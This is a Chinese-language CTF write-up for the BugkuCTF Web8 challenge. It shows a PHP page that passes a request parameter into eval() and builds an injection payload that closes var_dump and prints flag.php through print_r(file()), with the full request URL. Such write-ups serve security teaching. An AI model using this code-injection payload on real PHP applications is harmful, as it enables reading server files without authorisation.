BugkuCTF-Web8

    打开题目环境,代码如下:

    1. <?php
    2. include "flag.php";
    3. $a = @$_REQUEST['hello'];
    4. eval( "var_dump($a);");
    5. show_source(__FILE__);
    6. ?>

    考查知识点:

    1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

    2.eval: 把字符串作为PHP代码执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    3.var_dump: 函数用于输出变量的相关信息

    构建传参:hello=1,测试发现结果如下图:

    BugkuCTF-Web8-文件包含 - 图1

    需要构建hello变量,使其能够闭合var_dump,利用print_r输出。

    首先闭合var_dump: 1)";

    然后构建print_r:

    print_r(file("./flag.php"));
    

    合起来就是

    http://114.67.246.176:15591/?hello=1);print_r(file("./flag.php")
    

    后台eval执行的语句为:

    eval("var_dump(1);print_r(file("./flag.php")")
    

    成功输出 flag.php

    BugkuCTF-Web8-文件包含 - 图2